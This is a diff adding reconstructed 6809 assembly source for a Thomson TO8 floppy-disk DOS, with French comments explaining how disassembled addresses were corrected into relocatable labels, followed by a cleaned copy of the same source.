+D0110  BSR    D0170
+D0120  PULS   A
+       EXG    A,CC
+       LSRA
+       PULS   A,B,DP,X,Y,U,PC
+D0130  LDU    #D0000    #$E004
+       STU    <$55      ^^^^^^
+*                       cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le point d'entrée du DOS) on
+* effacera donc #$E004
+
+       JSR    $FFA0   < cette adresse d'
+       BRA    D0120     une entrée du
+D0140  LDA    #$60      moniteur diffère
+       TFR    A,DP      selon les machi-
+       LDX    #$E7D0    nes ...
+       CLR    <$4E
+       RTS
+D0150  LDD    <$48
+       CMPA   #$01
+       BNE    D0160
+       LDB    #$01
+D0160  LDU    #D0180    #$E0BE
+       LDA    B,U       ^^^^^^
+*                       cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le début de la table des valeurs
+* pour le contrôleur de disquettes), on
+* effacera donc #$E0BE
+
+       STA    2,X
+       STA    <$57
+       RTS
+D0170  LDA    #$40
+       STA    2,X
+       RTS
+
+* Table des valeurs des commandes pour
+* le no de lecteur en $E7D2
+
+D0180  FCB    $41,$01,$42,$02
+
+D0190  LDA    #$02
+       PSHS   A
+D0200  CLRA
+       LDB    <$48
+D0210  LSRB
+       INCA
+       BCC    D0210
+       DECA
+       ASLA
+       LDY    #D0250    #$E0F0
+       JSR    [A,Y]     ^^^^^^
+*                       cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente le début de la table des adres-
+* ses des routines des fonctions du DOS)
+* on effacera donc #$E0F0
+
+       BCC    D0240
+       LDA    <$4E
+       BITA   #$51
+       BNE    D0240
+D0220  DEC    ,S
+       BEQ    D0230
+       CLR    <$4E
+       CMPA   #$08
+       BEQ    D0200
+       BSR    D0310
+       BCS    D0220
+       BRA    D0200
+D0230  COMB
+D0240  PULS   A,PC
+
+* Table des adresses des routines du DOS
+
+D0250  FDB    D0260     =$E0FE
+       FDB    D0940     =$E3A7
+       FDB    D0380     =$E16E
+       FDB    D0410     =$E177
+       FDB    D0390     =$E174
+       FDB    D0310     =$E134
+       FDB    D1100     =$E452
+
+* On effacera les anciennes valeurs à
+* droite
+
+D0260  BSR    D0310
+       BCS    D0300
+       LDA    #$01
+       STA    <$4B
+       LBSR   D1160
+       LDB    #$44
+       LDA    1,X
+       BITA   #$08
+       BEQ    D0270
+       LDB    #$43
+D0270  STB    <$4E
+       BSR    D0310
+       CLR    <$52
+       CLR    <$54
+       CLR    ,X
+       CLR    <$58
+       LDD    <$E9
+       SUBD   <$ED
+       BGE    D0280
+       COMA
+       COMB
+       ADDD   #$0001
+D0280  TSTA
+       BNE    D0290
+       TSTB
+       BPL    D0290
+       COM    <$58
+D0290  CLRA
+D0300  RTS
+D0310  LDB    #$64
+D0320  LDA    1,X
+       BITA   #$08
+       BNE    D0330
+       LDA    <$57
+       ORA    #$10
+       STA    2,X
+       ANDA   #$EF
+       STA    2,X
+       BSR    D0360
+       DECB
+       LBEQ   D1140
+       BRA    D0320
+D0330  BSR    D0350
+       LBSR   D1200
+       CLR    ,Y
+       CLR    6,X
+       RTS
+D0340  LDY    #$006C
+       BRA    D0370
+D0350  LDY    #$0750
+       BRA    D0370
+D0360  LDY    #$02EC
+D0370  LEAY   -1,Y
+       BNE    D0370
+       RTS
+D0380  LDA    #$FF
+       STA    <$58
+       CLRA
+       RTS
+D0390  CLR    <$58
+D0400  RTS
+D0410  LBSR   D1100
+       BCS    D0400
+       LDA    1,X
+       BITA   #$04
+       BEQ    D0420
+       LDA    #$01
+       LBRA   D1150
+D0420  LDA    <$58
+       LBNE   D0570
+       LBSR   D0860
+       LDB    #$19
+       PSHS   CC
+       LBSR   D0930
+       LDY    #$7500
+D0430  LEAY   -1,Y
+       LBEQ   D1060
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0430
+       STA    3,X
+D0440  LDB    ,X
+       BPL    D0440
+       STA    3,X
+D0450  LDB    ,X
+       BPL    D0450
+       LDB    #$FB
+       STB    3,X
+       CLRA
+D0460  LDB    ,X
+       BPL    D0460
+       LDB    ,U+
+       STB    3,X
+       DECA
+       BNE    D0460
+D0470  LDB    ,X
+       BITB   #$08
+       BEQ    D0470
+       BSR    D0340
+       TST    <$48
+       BPL    D0550
+D0480  LBSR   D1120
+       LDB    #$1B
+       LBSR   D0930
+       LDA    #$04
+       LDY    #$7500
+D0490  LEAY   -1,Y
+       LBEQ   D0740
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0490
+       LDB    3,X
+D0500  DECA
+       LBEQ   D1080
+D0510  LDB    ,X
+       BPL    D0510
+       LDB    3,X
+       CMPB   #$FB
+       BNE    D0500
+       CLRA
+D0520  LDB    ,X
+       BPL    D0520
+       LDB    3,X
+       CMPB   ,U+
+       BNE    D0530
+       DECA
+       BNE    D0520
+D0530  LDB    ,X
+       BITB   #$08
+       BEQ    D0530
+       TSTA
+       BNE    D0540
+       BITB   #$04
+D0540  LBNE   D0740
+D0550  PULS   CC
+       CLR    ,X
+       RTS
+D0560  PSHS   CC
+       BRA    D0480
+D0570  LBSR   D0890
+       LBSR   D0900
+       PSHS   CC
+       PSHS   B,A
+       LBSR   D0760
+       BCC    D0580
+       PULS   A,B
+       LBRA   D1060
+D0580  LDB    #$FF
+       STB    4,X
+       LDD    #$0624
+       STB    ,X
+D0590  LDB    ,X
+       BPL    D0590
+       CLR    3,X
+       DECA
+       BNE    D0590
+D0600  LDB    ,X
+       BPL    D0600
+       LDD    #$FBC7
+       STD    3,X
+       LDB    #$FF
+D0610  LDA    ,X
+       BPL    D0610
+       LDA    ,U+
+       STD    3,X
+       LDA    #$7F
+D0620  LDB    ,X
+       BPL    D0620
+       LDB    ,U+
+       STB    3,X
+       DECA
+       BNE    D0620
+D0630  LDB    ,X
+       BPL    D0630
+       PULS   B
+       STB    3,X
+       COMA
+       BNE    D0630
+D0640  LDB    ,X
+       BPL    D0640
+       CLR    3,X
+D0650  LDB    ,X
+       BPL    D0650
+       LDB    #$20
+       STB    ,X
+D0660  LDB    ,X
+       BPL    D0660
+       LDB    3,X
+       COMA
+       BNE    D0660
+       LEAS   -2,S
+       LBSR   D0340
+       TST    <$48
+       BPL    D0720
+D0670  LBSR   D1120
+       BSR    D0760
+       BCS    D0730
+       LDB    #$FB
+       STB    3,X
+       LDD    #$8038
+       STB    ,X
+       LDY    #$0100
+D0680  LEAY   -1,Y
+       BEQ    D0730
+       LDB    ,X
+       BITB   #$01
+       BEQ    D0680
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D0690  LDB    ,X
+       BPL    D0690
+       LDB    3,X
+       CMPB   ,U+
+       BNE    D0730
+       DECA
+       BNE    D0690
+D0700  LDA    ,X
+       BPL    D0700
+       LDA    3,X
+D0710  LDB    ,X
+       BPL    D0710
+       LDB    3,X
+       CMPD   ,S
+       BNE    D0730
+D0720  PULS   A,B
+       PULS   CC
+       CLR    ,X
+       RTS
+D0730  PULS   A,B
+D0740  LDA    #$20
+       LBRA   D1090
+D0750  PSHS   CC
+       LDD    #$5D30
+       PSHS   B,A
+       BRA    D0670
+D0760  LDA    #$C7
+       STA    4,X
+       LDA    #$FE
+       STA    3,X
+       LDA    #$30
+       LDU    <$4F
+       ORCC   #$50
+D0770  LDB    #$38
+       STB    ,X
+       LDY    #$1700
+D0780  LEAY   -1,Y
+       BEQ    D0850
+       LDB    ,X
+       BITB   #$01
+       BEQ    D0780
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D0790  LDB    ,X
+       BPL    D0790
+       LDB    3,X
+       CMPB   <$4B
+       BNE    D0840
+D0800  LDB    ,X
+       BPL    D0800
+       LDB    3,X
+       BNE    D0840
+D0810  LDB    ,X
+       BPL    D0810
+       LDB    3,X
+       CMPB   <$4C
+       BNE    D0840
+D0820  LDB    ,X
+       BPL    D0820
+       LDB    3,X
+       BNE    D0840
+       LBSR   D0340
+       CLRA
+D0830  LDA    ,X
+       RTS
+D0840  DECA
+       BNE    D0770
+D0850  COMB
+       BRA    D0830
+D0860  LDB    <$4B
+       CMPB   #$39
+       BPL    D0870
+       LDD    #$9F20
+       BRA    D0880
+D0870  LDD    #$1F22
+D0880  STA    7,X
+       STB    1,X
+       RTS
+D0890  LDA    #$BF
+       STA    7,X
+       CLR    1,X
+       RTS
+D0900  LDU    <$4F
+       LDY    #$0080
+       LDD    #$BF84
+D0910  PSHS   B,A
+D0920  LDA    ,S
+       EORA   ,U+
+       PSHS   A
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       EORA   ,S
+       STA    ,S
+       TFR    A,B
+       LSRB
+       LSRB
+       LSRB
+       ASLA
+       ASLA
+       ASLA
+       ASLA
+       EORB   2,S
+       STB    2,S
+       TFR    A,B
+       EORA   2,S
+       STA    1,S
+       ASLB
+       EORB   ,S
+       STB    2,S
+       LEAS   1,S
+       LEAY   -1,Y
+       BNE    D0920
+       PULS   A,B,PC
+D0930  LDA    <$4C
+       STA    5,X
+       LDA    #$0A
+       STA    4,X
+       LDA    #$A1
+       STA    3,X
+       ORCC   #$50
+       LDU    <$4F
+       STB    ,X
+       RTS
+D0940  LBSR   D1100
+       LBCS   D1050
+       PSHS   CC
+       LDA    <$58
+       BNE    D1000
+       BSR    D0860
+       LDB    #$1B
+       BSR    D0930
+       LDA    #$04
+       LDY    #$7500
+D0950  LEAY   -1,Y
+       BEQ    D1060
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0950
+       LDB    3,X
+D0960  DECA
+       BEQ    D1080
+D0970  LDB    ,X
+       BPL    D0970
+       LDB    3,X
+       CMPB   #$FB
+       BNE    D0960
+       CLRA
+D0980  LDB    ,X
+       BPL    D0980
+       LDB    3,X
+       STB    ,U+
+       DECA
+       BNE    D0980
+D0990  LDB    ,X
+       BITB   #$08
+       BEQ    D0990
+       BITB   #$04
+       BNE    D1070
+       BRA    D1040
+D1000  LBSR   D0890
+       LBSR   D0760
+       BCS    D1060
+       LEAY   3,Y
+       LBSR   D0370
+       LDB    #$FB
+       STB    3,X
+       LDD    #$8038
+       STB    ,X
+       LDY    #$0100
+D1010  LEAY   -1,Y
+       BEQ    D1080
+       LDB    ,X
+       BITB   #$01
+       BEQ    D1010
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D1020  LDB    ,X
+       BPL    D1020
+       LDB    3,X
+       STB    ,U+
+       DECA
+       BNE    D1020
+D1030  LDB    ,X
+       BPL    D1030
+       LDB    3,X
+       PSHS   B
+       COMA
+       BNE    D1030
+       LBSR   D0900
+       EXG    A,B
+       CMPD   ,S++
+       BNE    D1070
+D1040  PULS   CC
+       CLR    ,X
+D1050  RTS
+D1060  LDA    #$04
+       BRA    D1090
+D1070  LDA    #$08
+       BRA    D1090
+D1080  LDA    #$02
+D1090  STA    <$4E
+       CLR    ,X
+       PULS   CC
+       COMA
+       RTS
+D1100  BSR    D1120
+       BCS    D1110
+       BSR    D1160
+       CLRA
+D1110  RTS
+D1120  LDY    #$8000
+D1130  LDB    <$57
+       ORB    #$04
+       STB    2,X
+       ANDB   #$FB
+       STB    2,X
+       LEAY   -1,Y
+       BEQ    D1140
+       LDB    1,X
+       ANDB   #$02
+       BEQ    D1130
+       CLRA
+       RTS
+D1140  LDA    #$10
+D1150  PSHS   CC
+       BRA    D1090
+D1160  LBSR   D0360
+       BSR    D1200
+       LDB    ,Y
+       LDA    <$57
+       SUBB   <$4B
+       BEQ    D1190
+       BPL    D1170
+       ORA    #$20
+       NEGB
+D1170  STA    2,X
+D1180  ORA    #$14
+       STA    2,X
+       ANDA   #$EB
+       STA    2,X
+       LBSR   D0360
+       DECB
+       BNE    D1180
+       LBSR   D0350
+D1190  BSR    D1200
+       LDB    <$4B
+       STB    6,X
+       STB    ,Y
+       RTS
+D1200  LDY    #$6052
+       LDA    <$49
+       ANDA   #$02
+       LEAY   A,Y
+       RTS
+D1210  PSHS   U,Y,X,DP,B,A,CC
+       LBSR   D0140
+       LDA    <$49
+       CMPA   #$04
+       BNE    D1220
+       LDU    #D0010    #$E00A
+       STU    <$55      ^^^^^^
+*                       cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente l'indirection du point d'entrée
+* de la routine DSKINI de formatage).On
+* effacera donc #$E00A
+
+       JSR    $FFA0
+       BRA    D1270
+D1220  BSR    D1310
+       LDA    <$48
+       ANDA   #$80
+       STA    <$48
+       LBSR   D0150
+       LBSR   D1120
+       BCS    D1270
+       LBSR   D0310
+       BCS    D1270
+       CLR    <$4B
+       BSR    D1280
+       BCS    D1270
+D1230  PSHS   CC
+       ORCC   #$50
+       LBSR   D1380
+       LDA    #$02
+       PSHS   A
+D1240  LBSR   D1440
+       LDX    #$E7D0
+       LBSR   D1120
+       LBSR   D1520
+       BCC    D1250
+       DEC    ,S
+       BNE    D1240
+       PULS   A
+       PULS   CC
+       COMA
+       BRA    D1270
+D1250  PULS   A
+       PULS   CC
+       LDA    <$4B
+       CMPA   #$4F
+       BEQ    D1260
+       BSR    D1300
+       BRA    D1230
+D1260  LBSR   D1960
+       BCS    D1270
+       LDA    #$50
+       STA    <$4B
+D1270  LBRA   D0110
+D1280  LDA    1,X
+       BITA   #$04
+       BNE    D1290
+       CLRA
+       RTS
+D1290  LDA    #$01
+       LBRA   D1150
+D1300  INC    <$4B
+       LBRA   D1160
+D1310  PSHS   X
+       LDU    #D1370    #$E55E
+D1320  LDX    #$0003    ^^^^^^
+*                       cette valeur est
+* une adresse qui est bonne (elle repré-
+* sente l'entrée d'une table) on efface-
+* ra donc #$E55E
+
+       LDB    #$04
+D1330  LDA    ,X
+       CMPA   ,U
+       BEQ    D1340
+       INCB
+       LEAU   B,U
+       LDA    ,U
+       BNE    D1320
+       BRA    D1360
+D1340  LEAX   -1,X
+       BNE    D1350
+       LDX    #$001A
+D1350  LEAU   1,U
+       DECB
+       BNE    D1330
+       LDA    ,U
+       STA    <$58
+D1360  PULS   X,PC
+
+* Table pour la détection de certaines
+* cartouches et alors formatage en
+* simple ou double densité.
+
+* Après analyse de sa structure (1/d'un
+* simple coup d'oeil 2/par le code s'y
+* rapportant (en D1310/1360)), on mettra
+* les FCB 5 par 5 (plutôt que par 4), le
+* dernier FCB étant un zéro de fin.
+
+D1370  FCB    $52,$45,$47,$6E
+       FCB    $FF,$43,$49,$50
+       FCB    $4A,$FF,$4C,$45
+       FCB    $4D,$74,$FF,$4C
+       FCB    $4F,$50,$B5,$00
+       FCB    $53,$45,$47,$B6
+       FCB    $00,$00
+
+D1380  LDX    #$60D3
+       LDB    #$10
+D1390  CLR    B,X
+       DECB
+       BNE    D1390
+       LEAX   $10,X
+       PSHS   X
+       LDX    #$60D3
+       LDA    #$01
+       LDB    <$4D
+D1400  STA    ,X
+       LEAX   B,X
+       INCA
+       CMPA   #$10
+       BHI    D1430
+D1410  CMPX   ,S
+       BCS    D1420
+       LEAX   -16,X
+D1420  TST    ,X
+       BEQ    D1400
+       LEAX   1,X
+       BRA    D1410
+D1430  LEAS   2,S
+       RTS
+D1440  LDX    #$60D3
+       LDU    <$4F
+D1450  LDB    ,X+
+       BEQ    D1470
+       LDA    <$4B
+       STA    ,U
+       CLR    1,U
+       STB    2,U
+       LDY    #$0004
+       LDA    <$58
+       INCA
+       STA    3,U
+       BEQ    D1480
+       LDD    #$B230
+D1460  LBSR   D0910
+       STD    ,U++
+       BRA    D1450
+D1470  RTS
+D1480  LDD    #$EF21
+       BRA    D1460
+D1490  LDB    1,X
+       BITB   #$40
+       BEQ    D1490
+D1500  LDB    3,X
+       LDB    ,X
+       BPL    D1500
+D1510  LDB    ,X
+       BPL    D1510
+       RTS
+D1520  LDA    #$10
+       PSHS   A
+       LDU    <$4F
+       LDA    <$58
+       LBNE   D1720
+       LBSR   D0860
+       BSR    D1490
+       LDD    #$4EFF
+       STD    3,X
+       LDB    #$04
+       STB    ,X
+D1530  LDA    #$1E
+D1540  LDB    ,X
+       BPL    D1540
+       LDB    #$4E
+       STB    3,X
+       DECA
+       BNE    D1540
+D1550  LDA    #$0C
+D1560  LDB    ,X
+       BPL    D1560
+       CLR    3,X
+       DECA
+       BNE    D1560
+D1570  LDB    ,X
+       BPL    D1570
+       LDD    #$A10A
+       STD    3,X
+D1580  LDB    ,X
+       BPL    D1580
+       STA    3,X
+D1590  LDB    ,X
+       BPL    D1590
+       STA    3,X
+D1600  LDB    ,X
+       BPL    D1600
+       LDD    #$FEFF
+       STD    3,X
+       LDA    #$06
+D1610  LDB    ,X
+       BPL    D1610
+       LDB    ,U+
+       STB    3,X
+       DECA
+       BNE    D1610
+       LDA    #$16
+D1620  LDB    ,X
+       BPL    D1620
+       LDB    #$4E
+       STB    3,X
+       DECA
+       BNE    D1620
+       LDA    #$0C
+D1630  LDB    ,X
+       BPL    D1630
+       CLR    3,X
+       DECA
+       BNE    D1630
+D1640  LDB    ,X
+       BPL    D1640
+       LDD    #$A10A
+       STD    3,X
+D1650  LDB    ,X
+       BPL    D1650
+       STA    3,X
+D1660  LDB    ,X
+       BPL    D1660
+       STA    3,X
+D1670  LDB    ,X
+       BPL    D1670
+       LDD    #$FBFF
+       STD    3,X
+       CLRA
+D1680  LDB    ,X
+       BPL    D1680
+       LDB    #$E5
+       STB    3,X
+       DECA
+       BNE    D1680
+D1690  LDB    ,X
+       BPL    D1690
+       LDB    #$78
+       STB    3,X
+D1700  LDB    ,X
+       BPL    D1700
+       LDB    #$27
+       STB    3,X
+       LDA    #$2C
+D1710  LDB    ,X
+       BPL    D1710
+       LDB    #$4E
+       STB    3,X
+       DECA
+       BNE    D1710
+       DEC    ,S
+       LBNE   D1550
+       LBRA   D1870
+D1720  LBSR   D0890
+       LBSR   D1490
+       LDD    #$FFFF
+       STD    3,X
+       LDB    #$24
+       STB    ,X
+       LDA    #$10
+D1730  LDB    ,X
+       BPL    D1730
+       LDB    #$FF
+       STB    3,X
+       DECA
+       BNE    D1730
+D1740  LDA    #$06
+D1750  LDB    ,X
+       BPL    D1750
+       CLR    3,X
+       DECA
+       BNE    D1750
+D1760  LDB    ,X
+       BPL    D1760
+       LDD    #$FEC7
+       STD    3,X
+D1770  LDB    ,X
+       BPL    D1770
+       LDB    #$FF
+       LDA    ,U+
+       STD    3,X
+       LDA    #$05
+D1780  LDB    ,X
+       BPL    D1780
+       LDB    ,U+
+       STB    3,X
+       DECA
+       BNE    D1780
+       LDA    #$0C
+D1790  LDB    ,X
+       BPL    D1790
+       LDB    #$FF
+       STB    3,X
+       DECA
+       BNE    D1790
+       LDA    #$06
+D1800  LDB    ,X
+       BPL    D1800
+       CLR    3,X
+       DECA
+       BNE    D1800
+D1810  LDB    ,X
+       BPL    D1810
+       LDD    #$FBC7
+       STD    3,X
+D1820  LDB    ,X
+       BPL    D1820
+       LDD    #D1530    #$E5FF
+       STD    3,X       ^^^^^^
+*                       cette valeur est
+* l'ancienne valeur du LDD# .Ici elle ne
+* représente pas une adresse, mais il se
+* trouve que $E5FF était dans la zone à
+* ressourcer.Le SOURCER a donc cherché ,
+* et trouvé une occurence mais l'analyse
+* logique du code montre à l'évidence
+* qu'il faut restaurer l'ancienne valeur
+* Donc nous remplacerons D1530 par $E5FF
+* et nous chercherons si D1530 est une
+* étiquette utilisée ailleurs (pour un
+* saut (BNE,JSR etc...) ou une adresse
+* (LDX #D1530 ...)): si cela n'est pas
+* le cas nous supprimerons l'étiquette
+* D1530 (sinon la garder !)
+
+       LDA    #$7F
+D1830  LDB    ,X
+       BPL    D1830
+       LDB    #$E5
+       STB    3,X
+       DECA
+       BNE    D1830
+D1840  LDB    ,X
+       BPL    D1840
+       LDB    #$5D
+       STB    3,X
+D1850  LDB    ,X
+       BPL    D1850
+       LDB    #$30
+       STB    3,X
+       LDA    #$16
+D1860  LDB    ,X
+       BPL    D1860
+       LDB    #$FF
+       STB    3,X
+       DECA
+       BNE    D1860
+       DEC    ,S
+       LBNE   D1740
+D1870  LDA    1,X
+       BITA   #$40
+       BNE    D1890
+D1880  LDA    ,X
+       BPL    D1880
+       STB    3,X
+       BRA    D1870
+D1890  PULS   A
+       CLR    ,X
+       TST    <$48
+       BPL    D1930
+       LDA    #$E5
+       BSR    D1940
+       LDU    #$60D3
+       LBSR   D1120
+D1900  LDA    ,U+
+       BEQ    D1930
+       STA    <$4C
+       PSHS   U
+       LDA    <$58
+       BEQ    D1910
+       LBSR   D0750
+       BRA    D1920
+D1910  LBSR   D0560
+D1920  PULS   U
+       BCC    D1900
+D1930  RTS
+D1940  LDU    <$4F
+       LDB    <$58
+       ANDB   #$80
+D1950  STA    ,U+
+       DECB
+       BNE    D1950
+       RTS
+D1960  LDA    #$14
+       STA    <$4B
+       LBSR   D1160
+       LDA    #$FF
+       BSR    D1940
+       LDA    #$10
+       STA    <$4C
+D1970  LBSR   D1120
+       LBSR   D0420
+       BCS    D1980
+       DEC    <$4C
+       BNE    D1970
+       LDU    <$4F
+       CLR    ,U
+       LDD    #$FEFE
+       STD    $29,U
+       LDA    #$02
+       STA    <$4C
+       LBSR   D0420
+       BCS    D1980
+       CLRA
+D1980  RTS
+
+* nous placerons à la fin la directive
+* 'END' (nous aurions pu le faire sous
+* CODEVIEW)
diff --git a/code/3rdparty/sources3-lambinet/DOSTO8S.ASM b/code/3rdparty/sources3-lambinet/DOSTO8S.ASM
new file mode 100644
index 0000000..aede3d0
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/DOSTO8S.ASM
@@ -0,0 +1,957 @@
+       FCC    #MTD:#
+D0000  LBRA   D0090
+       LBRA   D0020
+D0010  LBRA   D1210
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+       LBSR   $ECB8
+D0020  BSR    D0140
+       CLR    <$49
+       BSR    D0150
+       LBSR   D0260
+       LDA    #$02
+D0030  PSHS   A
+       CLR    <$58
+D0040  LDD    #$0001
+       STD    <$4B
+       LDU    #$6200
+       STU    <$4F
+       LBSR   D0940
+       BSR    D0170
+       LDU    <$4F
+       BCC    D0050
+       LDA    <$58
+       BNE    D0070
+       COM    <$58
+       BRA    D0040
+D0050  LDY    #$627F
+       PSHS   Y
+       LDA    #$55
+D0060  DEC    ,U
+       COM    ,U
+       ADDA   ,U+
+       CMPU   ,S
+       BNE    D0060
+       PULS   Y
+       CMPA   ,U
+       BNE    D0080
+       JMP    $6200
+D0070  PULS   A
+       DECA   
+       BNE    D0030
+D0080  CLR    <$80
+       JMP    [$001E]
+D0090  PSHS   U,Y,X,DP,B,A,CC
+       BSR    D0140
+       LDA    <$48
+       CMPA   #$01
+       BEQ    D0100
+       LDA    <$49
+       CMPA   #$04
+       BEQ    D0130
+D0100  BSR    D0150
+       BSR    D0190
+D0110  BSR    D0170
+D0120  PULS   A
+       EXG    A,CC
+       LSRA   
+       PULS   A,B,DP,X,Y,U,PC
+D0130  LDU    #D0000    #$E004
+       STU    <$55
+       JSR    $FFA0
+       BRA    D0120
+D0140  LDA    #$60
+       TFR    A,DP
+       LDX    #$E7D0
+       CLR    <$4E
+       RTS    
+D0150  LDD    <$48
+       CMPA   #$01
+       BNE    D0160
+       LDB    #$01
+D0160  LDU    #D0180    #$E0BE
+       LDA    B,U
+       STA    2,X
+       STA    <$57
+       RTS    
+D0170  LDA    #$40
+       STA    2,X
+       RTS    
+D0180  FCB    $41,$01,$42,$02
+D0190  LDA    #$02
+       PSHS   A
+D0200  CLRA   
+       LDB    <$48
+D0210  LSRB   
+       INCA   
+       BCC    D0210
+       DECA   
+       ASLA   
+       LDY    #D0250    #$E0F0
+       JSR    [A,Y]
+       BCC    D0240
+       LDA    <$4E
+       BITA   #$51
+       BNE    D0240
+D0220  DEC    ,S
+       BEQ    D0230
+       CLR    <$4E
+       CMPA   #$08
+       BEQ    D0200
+       BSR    D0310
+       BCS    D0220
+       BRA    D0200
+D0230  COMB   
+D0240  PULS   A,PC
+D0250  FDB    D0260     =$E0FE
+       FDB    D0940     =$E3A7
+       FDB    D0380     =$E16E
+       FDB    D0410     =$E177
+       FDB    D0390     =$E174
+       FDB    D0310     =$E134
+       FDB    D1100     =$E452
+D0260  BSR    D0310
+       BCS    D0300
+       LDA    #$01
+       STA    <$4B
+       LBSR   D1160
+       LDB    #$44
+       LDA    1,X
+       BITA   #$08
+       BEQ    D0270
+       LDB    #$43
+D0270  STB    <$4E
+       BSR    D0310
+       CLR    <$52
+       CLR    <$54
+       CLR    ,X
+       CLR    <$58
+       LDD    <$E9
+       SUBD   <$ED
+       BGE    D0280
+       COMA   
+       COMB   
+       ADDD   #$0001
+D0280  TSTA   
+       BNE    D0290
+       TSTB   
+       BPL    D0290
+       COM    <$58
+D0290  CLRA   
+D0300  RTS    
+D0310  LDB    #$64
+D0320  LDA    1,X
+       BITA   #$08
+       BNE    D0330
+       LDA    <$57
+       ORA    #$10
+       STA    2,X
+       ANDA   #$EF
+       STA    2,X
+       BSR    D0360
+       DECB   
+       LBEQ   D1140
+       BRA    D0320
+D0330  BSR    D0350
+       LBSR   D1200
+       CLR    ,Y
+       CLR    6,X
+       RTS    
+D0340  LDY    #$006C
+       BRA    D0370
+D0350  LDY    #$0750
+       BRA    D0370
+D0360  LDY    #$02EC
+D0370  LEAY   -1,Y
+       BNE    D0370
+       RTS    
+D0380  LDA    #$FF
+       STA    <$58
+       CLRA   
+       RTS    
+D0390  CLR    <$58
+D0400  RTS    
+D0410  LBSR   D1100
+       BCS    D0400
+       LDA    1,X
+       BITA   #$04
+       BEQ    D0420
+       LDA    #$01
+       LBRA   D1150
+D0420  LDA    <$58
+       LBNE   D0570
+       LBSR   D0860
+       LDB    #$19
+       PSHS   CC
+       LBSR   D0930
+       LDY    #$7500
+D0430  LEAY   -1,Y
+       LBEQ   D1060
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0430
+       STA    3,X
+D0440  LDB    ,X
+       BPL    D0440
+       STA    3,X
+D0450  LDB    ,X
+       BPL    D0450
+       LDB    #$FB
+       STB    3,X
+       CLRA   
+D0460  LDB    ,X
+       BPL    D0460
+       LDB    ,U+
+       STB    3,X
+       DECA   
+       BNE    D0460
+D0470  LDB    ,X
+       BITB   #$08
+       BEQ    D0470
+       BSR    D0340
+       TST    <$48
+       BPL    D0550
+D0480  LBSR   D1120
+       LDB    #$1B
+       LBSR   D0930
+       LDA    #$04
+       LDY    #$7500
+D0490  LEAY   -1,Y
+       LBEQ   D0740
+       LDB    ,X
+       BITB   #$02
+       BEQ    D0490
+       LDB    3,X
+D0500  DECA   
+       LBEQ   D1080
+D0510  LDB    ,X
+       BPL    D0510
+       LDB    3,X
+       CMPB   #$FB
+       BNE    D0500
+       CLRA   
+D0520  LDB    ,X
+       BPL    D0520
+       LDB    3,X
+       CMPB   ,U+
+       BNE    D0530
+       DECA   
+       BNE    D0520
+D0530  LDB    ,X
+       BITB   #$08
+       BEQ    D0530
+       TSTA   
+       BNE    D0540
+       BITB   #$04
+D0540  LBNE   D0740
+D0550  PULS   CC
+       CLR    ,X
+       RTS    
+D0560  PSHS   CC
+       BRA    D0480
+D0570  LBSR   D0890
+       LBSR   D0900
+       PSHS   CC
+       PSHS   B,A
+       LBSR   D0760
+       BCC    D0580
+       PULS   A,B
+       LBRA   D1060
+D0580  LDB    #$FF
+       STB    4,X
+       LDD    #$0624
+       STB    ,X
+D0590  LDB    ,X
+       BPL    D0590
+       CLR    3,X
+       DECA   
+       BNE    D0590
+D0600  LDB    ,X
+       BPL    D0600
+       LDD    #$FBC7
+       STD    3,X
+       LDB    #$FF
+D0610  LDA    ,X
+       BPL    D0610
+       LDA    ,U+
+       STD    3,X
+       LDA    #$7F
+D0620  LDB    ,X
+       BPL    D0620
+       LDB    ,U+
+       STB    3,X
+       DECA   
+       BNE    D0620
+D0630  LDB    ,X
+       BPL    D0630
+       PULS   B
+       STB    3,X
+       COMA   
+       BNE    D0630
+D0640  LDB    ,X
+       BPL    D0640
+       CLR    3,X
+D0650  LDB    ,X
+       BPL    D0650
+       LDB    #$20
+       STB    ,X
+D0660  LDB    ,X
+       BPL    D0660
+       LDB    3,X
+       COMA   
+       BNE    D0660
+       LEAS   -2,S
+       LBSR   D0340
+       TST    <$48
+       BPL    D0720
+D0670  LBSR   D1120
+       BSR    D0760
+       BCS    D0730
+       LDB    #$FB
+       STB    3,X
+       LDD    #$8038
+       STB    ,X
+       LDY    #$0100
+D0680  LEAY   -1,Y
+       BEQ    D0730
+       LDB    ,X
+       BITB   #$01
+       BEQ    D0680
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D0690  LDB    ,X
+       BPL    D0690
+       LDB    3,X
+       CMPB   ,U+
+       BNE    D0730
+       DECA   
+       BNE    D0690
+D0700  LDA    ,X
+       BPL    D0700
+       LDA    3,X
+D0710  LDB    ,X
+       BPL    D0710
+       LDB    3,X
+       CMPD   ,S
+       BNE    D0730
+D0720  PULS   A,B
+       PULS   CC
+       CLR    ,X
+       RTS    
+D0730  PULS   A,B
+D0740  LDA    #$20
+       LBRA   D1090
+D0750  PSHS   CC
+       LDD    #$5D30
+       PSHS   B,A
+       BRA    D0670
+D0760  LDA    #$C7
+       STA    4,X
+       LDA    #$FE
+       STA    3,X
+       LDA    #$30
+       LDU    <$4F
+       ORCC   #$50
+D0770  LDB    #$38
+       STB    ,X
+       LDY    #$1700
+D0780  LEAY   -1,Y
+       BEQ    D0850
+       LDB    ,X
+       BITB   #$01
+       BEQ    D0780
+       LDB    3,X
+       LDB    #$28
+       STB    ,X
+D0790  LDB    ,X
+       BPL    D0790
+       LDB    3,X
+       CMPB   <$4B
+       BNE    D0840
+D0800  LDB    ,X
+       BPL    D0800
+       LDB    3,X
+       BNE    D0840
+D0810  LDB    ,X
+       BPL    D0810
+       LDB    3,X
+       CMPB   <$4C
+       BNE    D0840
+D0820  LDB    ,X
+       BPL    D0820
+       LDB    3,X
